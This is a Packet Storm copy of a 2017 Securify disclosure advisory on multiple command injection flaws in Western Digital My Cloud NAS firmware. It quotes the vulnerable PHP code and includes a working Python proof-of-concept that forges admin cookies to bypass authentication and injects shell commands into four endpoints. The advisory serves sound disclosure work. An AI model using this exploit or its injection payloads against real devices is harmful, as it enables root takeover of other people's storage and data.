what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Western Digital My Cloud Command Injection

Western Digital My Cloud Command Injection
Posted Mar 7, 2017
Authored by Securify B.V., Remco Vermeulen

Western Digital My Cloud suffers from multiple command injection vulnerabilities.

tags | exploit, vulnerability
SHA-256 | 9d9db6ddc52d6fbe5d8a6f1251995090267e44bb3456666b4cd1502963749ddc

Western Digital My Cloud Command Injection

Change Mirror Download
------------------------------------------------------------------------
Western Digital My Cloud vulnerable to multiple command injection
vulnerabilities
------------------------------------------------------------------------
Remco Vermeulen, January 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the Western Digital My Cloud is affected by
multiple command injection vulnerabilities. Some of these issues don't
require authentication and allow an attacker to gain complete control
(root access) of the affected device. Some do require authentication, in
this case an attacker can use Cross-Site Request Forgery (CSRF, see
advisory SFY20170104) or authentication bypass (see advisory
SFY20170102) and still gain complete control of the vulnerable Western
Digital device.

------------------------------------------------------------------------
See also
------------------------------------------------------------------------
-
https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html
- https://blog.exploitee.rs/2017/hacking_wd_mycloud/
- https://www.exploitee.rs/index.php/Western_Digital_MyCloud
-
https://securify.nl/advisory/SFY20170102/authentication_bypass_vulnerability_in_western_digital_my_cloud.html
-
https://securify.nl/advisory/SFY20170104/western_digital_my_cloud_vulnerable_to_cross_site_request_forgery_vulnerability.html

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These vulnerabilities were successfully verified on a Western Digital My
Cloud model WDBCTL0020HWT running firmware versions 2.21.119 and
2.21.126. These issues aren't limited to the model that was used to find
these vulnerabilities since most of the products in the My Cloud series
share the same (vulnerable) code.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20170103/western_digital_my_cloud_vulnerable_to_multiple_command_injection_vulnerabilities.html

Multiple endpoints on the My Cloud device are susceptible to command injection. Most of these issues are only exploitable by an authenticated user. Some of them can be exploited unauthenticated as there is no login check implemented in the affected endpoints. The following endpoints were found to be vulnerable.
Vulnerable endpoints not requiring authentication

- web/addons/jqueryFileTree.php:
Multiple parameters in this endpoint are susceptible to command injection. The following code snippet shows how POST parameters are used to construct a command which is subsequently executed by the popen() function without any escaping.

$host = ($_POST['host'] == "")? $_GET['host']:$_POST['host'];
$pwd = ($_POST['pwd'] == "")? $_GET['pwd']:$_POST['pwd'];
$user = ($_POST['user'] == "")? $_GET['user']:$_POST['user'];
$dir = ($_POST['dir'] == "")? $_GET['dir']:$_POST['dir'];
$lang = ($_POST['lang'] == "")? $_GET['lang']:$_POST['lang'];
//echo $dir."dir1=".dir1;
error_reporting(0);

@unlink("/tmp/ftp-folder.txt");
@unlink("/tmp/ftp-file.txt");

$cmd = sprintf("ftp_download -c gettree -i \"%s\" -u \"%s\" -p \"%s\" -t \"%s\" -l \"%s\"", $host, $user, $pwd ,$dir ,$lang);

$handle = popen($cmd, 'r');
$read = fread($handle, 2096);

- web/addons/ftp_download.php:
Multiple parameters in this endpoint are susceptible to command injection. The following code snippet shows an instance of how POST parameters are used to construct a command which is subsequently executed by the system() function without any escaping.

switch ($action)
{
case "create":
{
$taskname = $_POST['taskname'];
$source_dir = $_POST['source_dir'];
$dest_dir = $_POST['dest_dir'];
$schedule = $_POST['schedule'];
$schedule_type = $_POST['backup_sch_type'];
$hour = $_POST['hour'];
$week = $_POST['week'];
$day = $_POST['day'];

$host = $_POST['host'];
$user = $_POST['user'];
$pwd = $_POST['pwd'];
$lang = $_POST['lang'];

$sch_command = "";
if ($schedule == "0")$sch_command = "0,1,1";
else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly


$cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
$taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);

foreach ($source_dir as $val)
$cmd .= sprintf(" -s \"%s\"", $val);

$cmd .= " >/dev/null 2>&1";
system($cmd);

- web/storage/raid_cgi.php:
The run_cmd parameter is susceptible to command injection. The following code snippet shows how the run_cmd parameter is used to construct a command which is subsequently executed by the system() function without any escaping.

...
switch ($action)
{
case "cgi_Run_Smart_Test":
{
$run_cmd = $_POST['run_cmd'];
system("smart_test -X > /dev/null");

$run_cmd .= " > /dev/null &";
system($run_cmd);
...

Vulnerable endpoints requiring authentication

- web/php/noHDD.php:
The enable parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by at least a non-admin user. The following snippet shows how the enable parameter is used to construct a command passed to the exec() function without escaping.

[...]
$enable = $_REQUEST['enable']; //enable or disable

switch ($cmd) {
case "getDiskStatus":
getDiskStatus();
break;
case "setSataPower":
setSataPower($enable);
break;
}
function setSataPower($enable)
{
$state = "ok";
if(file_exists("/tmp/system_ready"))
{
$setCmd = "sata_power.sh \"$enable\"";
exec($setCmd,$retval);
}
[...]

- web/php/remoteBackups.php:
The jobName parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by an admin user. The following snippet shows how the jobName parameter is used to construct a command passed to the system() function without escaping.

...
$cmd = $_REQUEST['cmd'];
$RemoteBackupsAPI = new RemoteBackupsAPI;

switch ($cmd) {
case "getRecoverItems":
$RemoteBackupsAPI->getRecoverItems();
break;
}


class RemoteBackupsAPI{
public function getRecoverItems()
{
$xmlPath = "/var/www/xml/rsync_recover_items.xml";
$jobName = $_REQUEST['jobName'];

@unlink($xmlPath);

$cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
system($cmd);

if (file_exists($xmlPath))
{
print file_get_contents($xmlPath);
}
else
{
print "<config></config>";
}
}
}
...

- web/google_analytics.php:
The arg parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by at least a non-admin user. The following snippet shows how the arg parameter is used to construct a command passed to the system() function without escaping.

...
switch ($action)
{
case "set":
{
$opt = $_POST['opt'];
$arg = $_POST['arg'];
$run_cmd = sprintf("ganalytics --%s %s > /dev/null &", $opt, ($arg != "") ? $arg : "");

system($run_cmd);

$r->run_cmd = $run_cmd;
$r->success = true;
echo json_encode($r);
}
break;
}
...

- web/php/chk_vv_sharename.php:
The vv_sharename parameter of this endpoint is susceptible to command injection. This endpoint requires authentication by an admin user. The following snippet shows how the vv_sharename parameter is used to construct a command passed to the system() function without escaping.

...
{
$vv_sharename = $_GET['vv_sharename'];

if(empty($_GET["vv_sharename"]))
{
echo 'Parameter vv_sharename is missing.';
return;
}

$cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null";
system($cmd);
...

Proof of Concept

The following Python script exploits can be used to exploit the command injections in the following endpoints:
- web/php/remoteBackups.php
- web/storage/raid_cgi.php
- web/google_analytics.php
- web/php/chk_vv_sharename.php

Note that this script also uses the authentication bypass vulnerability to run arbitrary code as an unauthenticated user.

import requests
import time
import inspect
import sys

mycloud_addr="127.0.0.1"
headers = {"Cookie": "username=admin; isAdmin=1"}
dryrun = False

def dump_request(req):
print "{}\n{}\n{}\n\n{}".format(
'-----------START-----------',
req.method + ' ' + req.url,
'\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
req.body)

def gen_rce_test_file():
return "/var/www/fsociety_%s.dat" % int(time.time())

def verify_test_file(test_file):
test_endpoint = "http://%s/%s" % (mycloud_addr, test_file[len('/var/www/'):])
print "[+] Verify test file on %s" % test_endpoint
if requests.get(test_endpoint).status_code == requests.codes.ok:
print "[+] Successfully exploited RCE"
else:
print "[-] Failed to validate RCE"

def do_post(endpoint, payload, test_file):
req = requests.Request("POST", "http://%s/%s" % (mycloud_addr, endpoint), headers=headers, data=payload)
prepared = req.prepare()
if dryrun:
dump_request(prepared)
else:
s = requests.Session()
resp = s.send(prepared)
if resp.status_code == requests.codes.ok:
verify_test_file(test_file)
else:
print "[-] Failed to exploit RCE"

def do_get(endpoint, payload, test_file):
req = requests.Request("GET", "http://%s/%s" % (mycloud_addr, endpoint), headers=headers, params=payload)
prepared = req.prepare()
if dryrun:
dump_request(prepared)
else:
s = requests.Session()
resp = s.send(prepared)
if resp.status_code == requests.codes.ok:
verify_test_file(test_file)
else:
print "[-] Failed to exploit RCE"

def exploit_remote_backups():
print "[+] Exploiting remote backups"
endpoint = "web/php/remoteBackups.php"
test_file = gen_rce_test_file()
payload = {
"cmd": "getRecoverItems",
"jobName": "`touch %s; echo foo`" % test_file
}
do_post(endpoint, payload, test_file)

def exploit_chk_vv_sharename():
print "[+] Exploiting chk_vv_sharename"
endpoint = "web/php/chk_vv_sharename.php"
test_file = gen_rce_test_file()
payload = {"vv_sharename": "`touch %s; echo foo`" % test_file}
do_get(endpoint, payload, test_file)

def exploit_raid_cgi():
print "[+] Exploiting raid cgi"
endpoint = "web/storage/raid_cgi.php"
test_file = gen_rce_test_file()
payload={"cmd": "cgi_Run_Smart_Test", "run_cmd": "touch %s" % test_file}
do_post(endpoint, payload, test_file)

def exploit_ganalytics():
print "[+] Exploiting ganalytics"
endpoint = "web/google_analytics.php"
test_file = gen_rce_test_file()
payload={"cmd": "set", "opt": "pv-backups", "arg": "; touch %s" % test_file}
do_post(endpoint, payload, test_file)

def all_exploits():
return [obj for name,obj in inspect.getmembers(sys.modules[__name__]) if (inspect.isfunction(obj) and name.startswith('exploit'))]

for f in all_exploits():
f()
time.sleep(1)

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close